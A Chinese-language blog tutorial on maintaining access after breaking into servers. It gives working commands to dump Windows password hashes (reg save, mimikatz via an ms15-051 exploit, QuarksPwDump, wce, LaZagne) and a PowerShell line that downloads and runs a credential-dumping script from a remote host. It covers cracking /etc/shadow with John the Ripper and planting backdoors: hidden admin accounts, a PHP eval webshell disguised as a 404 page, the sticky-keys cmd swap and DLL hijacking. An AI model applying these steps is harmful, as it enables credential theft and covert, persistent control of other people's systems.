內網滲透之——權限維持(獲取windows、linux密碼,安裝後門程序)

介紹

當攻擊者獲取服務器權限後,通常會採用一些後門技術來維持自己當前得到的權限,服務器一旦被植入後門,那麼攻擊者下次進入就方便多了

目的

由於攻擊可能被發現,被發現後可能會被將之前拿到的的webshell清除,導致目標丟失,所以需要留下後門來維持權限,達到持續控制的目的

獲取系統登陸賬號密碼

windows獲取系統登陸賬號密碼

windows系統賬號密碼存儲位置:

C:\Windows\System32\config\SAM

windows密碼驗證原理:
在Windows系統中,對用戶賬戶的安全管理採用了SAM(Security Account Manager,安全賬號管理)機制,用戶賬戶以及密碼經過Hash加密之後,都保存在SAM數據庫中。
SAM數據庫保存在C:\WINDOWS\system32\config\SAM文件中,當用戶登錄系統時,首先就要與SAM文件中存放的賬戶信息進行對比,驗證通過方可登錄。系統對SAM文件提供了保護機制,無法將其複製或是刪除,也無法直接讀取其中的內容。

SAM文件加密方式:
1.LM加密:Windows2003之前,包括win2003系統
2.NTLM加密:Windows 2003之後的系統
LM和NTLM都是基於Hash加密,但是它們的安全機制和安全強度存在差別,LM口令散列的安全性相對比較差。儘管現在已很少有人使用Windows2k之前的老版本系統,但爲了保持向後兼容性,默認情況下,系統仍會將用戶密碼分別用這兩種機制加密後存放在SAM數據庫裏。
區別:
LM加密,密碼最多14位,如果口令不足14位,不足的部分用0補齊,把所有的字符轉變爲大寫,然後分成兩組,每組7位,分別加密,然後拼接在一起,就是最終的LM散列,本質是DES加密。
NTLM加密,先將用戶口令轉變爲unicode編碼,再進行標準MD4單向哈希加密。
LM加密安全性遠低於NTLM加密,因爲NTLM加密它允許使用更長的密碼,允許有大小寫的不同,而且也無須把密碼分割成更小、更易於被破解的塊。所以在一個純NTLM環境中,應該關閉Lan Manager加密方式

獲取SAM文件內容:

獲取sam密碼方式
1.非免殺版工具:wce.exe,QuarksPwDump.exe,Pwdump7.exe,gethash.exe,mimikatz
2.免殺版:
2.1使用註冊表導出hash:
命令

 reg save hklm\sam C:\hash\sam.hive
 reg save hklm\system C:\hash\system.hive

之後將導出的文件下載下來,使用Pwdump7進行破解
2.2導出sam文件
shadow copy (一般用在域控上幾萬 幾十萬用戶的時候)
2.3其他方式
procdump(或者lsadump)+mimikatz
Powershell+mimikatz
powershell+getpasshash
powershell+其他工具

破解密碼
1.在線破解
http://www.objectif-securite.ch/en/ophcrack.php
http://cmd5.com
https://somd5.com
2.本地破解( 暴力破解)
LM加密: cain
 NTLM加密: ophcrack+彩虹表(彩虹表下載:http://ophcrack.sourceforge.net/tables.php)

注意事項
1.LM只能存儲小於等於14個字符的密碼hash,如果密碼大於14位,windows就自動使用NTLM對其進行加密了,只有對應的NTLM hash可用了,在LM-Password中會以全0顯示。
2.一般情況下使用工具導出的hash都有對應的LM和NTLM值,也就是說這個密碼位數<=14,這時LM也會有值,除了LM值全爲0之外,在老版本中看到LM:aad3b435b51404eeaad3b435b51404ee開頭顯示的表示密碼爲空或者位數超過14位
3.在win2K3之前包括win2K3會默認啓用LM加密,win2K3之後的系統禁用了LM加密,使用NTLM加密
4.LM方式的加密會存在一個對應的NTLM hash值

QuarksPwDump.exe

1.QuarksPwDump.exe導出本地哈希值,上傳QuarksPwDump.exe到目標機C:\Windows\Temp\下

2.利用ms15-051x64.exe(exp)提權成功後菜刀虛擬終端輸入命令:

C:\Windows\Temp\ms15-051x64.exe "C:\Windows\Temp\QuarksPwDump.exe --dump-hash-local"

3.AFFFEBA176210FAD4628F0524BFE1942即爲密碼,之後拿到cmd5進行破解即可

mimikatz

注意:只能抓取已經登陸用戶的密碼

利用mimikatz抓取賬號明文哈希值原理

從lsass.exe進程中直接獲取密碼信息進行破解,而且該破解應該並非窮舉方式,而是直接根據算法進行反向計算
lsass.exe是系統進程,用於本地安全認證服務

1.利用菜刀上傳mimikatz到目標機C:\Windows\Temp\下

2.利用ms15-051x64.exe(exp)提權成功後菜刀虛擬終端輸入命令:

C:\Windows\Temp\ms15-051x64.exe "C:\Windows\Temp\mimikatz.exe privilege::debug sekurlsa::logonpasswords exit"

wce.exe

1.上傳wce.exe到目標機C:\Windows\Temp\下

2.目標機輸入    

wce.exe -l 列出密碼和憑證

wce.exe -lv 讀取sam文件的密碼

powershell腳本

windows自帶,相當於加強的命令行,可擴展許多腳本,裏面大多windows和linux的命令都可以用

擴展Invoke-WCMDump腳本獲取哈希值(從Credential Manager導出Windows憑據的Powershell腳本)

1.上傳腳本使用使用

修改策略爲可加載腳本

Set-ExecutionPolicy unrestricted

加載Invoke-WCMDump腳本

Import-Module .\Invoke-WCMDump.ps1

之後直接輸入腳本名Ivoke-WCMDump運行

2.不上傳腳本使用

直接使用命令行遠程網上訪問(地址爲可訪問的腳本下載地址)

powershell.exe "IEX (New-Object Net.WebClient).DownloadString('http://192.168.0.106/Invoke-WCMDump.ps1');Invoke-WCMDump"

Lazagne

LaZagne是一款用於檢索大量存儲在本地計算機密碼的開源應用程序。 因爲每個軟件儲存密碼的方式不盡相同(明文、API、定製算法、數據庫等),所以該工具使用多種方法獲取軟件密碼

1.cmd輸入lazagne.exe -h查看說明

2.提取哈希值(all所有  寫具體的模塊就提取指定模塊)

lazagne.exe all

linux、unix獲取系統登陸賬號密碼

系統賬號密碼存儲位置:

密碼:/etc/shadow      賬號:/etc/passwd

/etc/shadow
例如:root:$6$Rw99zZ2B$AZwfboPWM6z2tiBeK.EL74sivucCa8YhCrXGCBoVdeYUGsf8iwNxJkr.wTLDjI5poygaUcLaWtP/gewQkO7jT/:17564:0:99999:7:::

密碼爲以:分割的第二部分:$6$Rw99zZ2B$AZwfboPWM6z2tiBeK.EL74sivucCa8YhCrXGCBoVdeYUGsf8iwNxJkr.wTLDjI5poygaUcLaWtP/gewQkO7jT/
第一個$是加密方式,第二個$是鹽值,第三個$是加密後的密碼
當第一個$爲1時,使用md5加密,第一個$爲5時,採用SHA256進行加密,第一個$爲6時,採用SHA512進行加密

破解密碼:
使用John the ripper:

1.使用默認字典直接破解

直接在命令行輸入

john --single /etc/shadow

之後輸入cat .john/john.pot  即可查看密碼

2.自己指定字典破解

新建一個字典,寫入密碼

輸入以下代碼:

john --wordlist list /etc/shadow

安裝後門程序

目的

攻擊者在獲取服務器權限後,通常會用一些後門技術來維持服務器權限,服務器一旦被植入後門,攻擊者如入無人之境

常見的後門技術

隱藏、克隆賬戶,隱藏webshell,shift後門,啓動項、計劃任務,DLL劫持技術,Powershell後門,遠控軟件

此處以介紹其中幾種方式

1.隱藏、克隆賬戶

原理

創建用戶時,結尾加上$,該用戶就成爲一個隱藏用戶

流程:創建一個$結尾的用戶za$,查看該用戶時,發現沒有該用戶

將za$用戶添加到管理員組

之後在登陸時,就可使用za$用戶進行登陸,並且za$用戶具有管理員權限

2.利用404頁面隱藏webshell(利用403也可以,原理相同)

首先將網頁404報錯的源代碼複製下來

之後在網站目錄裏新建一個1.php文件,裏面寫入上面的源碼,/1212改爲我們自己新建的文件名,並在下面加上一句話木馬

<!DOCTYPE HTML PUBLIC "-//IETF//DTD HTML 2.0//EN">
<html><head>
<title>404 Not Found</title>
</head><body>
<h1>Not Found</h1>
<p>The requested URL /1.php was not found on this server.</p>
</body></html>
<?php @eval($_REQUEST[666])?>

訪問1.php就會造成沒有此文件的404假象

之後用菜刀連接即可

3.Windows Shift後門

原理:

利用cmd.exe重命名,覆蓋原來的粘連鍵。當我們再次觸發粘連鍵時,相當於運行了cmd.exe

sethc.exe位置:

Windows/System32/sethc.exe

流程:

將cmd.exe 重命名並替換掉shift(粘滯鍵)(sethc.exe)功能,這樣在通過遠程桌面登錄服務器之後,在輸入帳號密碼處,按5次shift即可彈出cmd的命令行,權限爲system。

4.DLL劫持提權

DLL劫持原理舉例:

例如你安裝了酷狗播放器,而酷狗播放器在播放音樂的時候必須調用Windows系統下一個標準動態鏈接庫mp3play.dll,那麼黑客就自己開發一個惡意的mp3play.dll,然後再找一個MP3歌曲,將這個惡意的DLL和歌曲放在同一個文件夾下,然後打包壓縮發給受害者。

如果受害者用右鍵將這個壓縮包中的MP3文件和DLL文件都解壓縮到了一個目錄中(90%的人會這樣幹),那麼當受害者點擊這個MP3文件的時候,酷狗就會先去尋找mp3play.dll進行加載,而微軟設計的加載dll順序是先從默認文件本身的目錄進行尋找,於是那個虛假的、惡意的mp3play.dll就先被加載運行了。

 

發表評論
所有評論
還沒有人評論,想成為第一個評論的人麼? 請在上方評論欄輸入並且點擊發布.
相關文章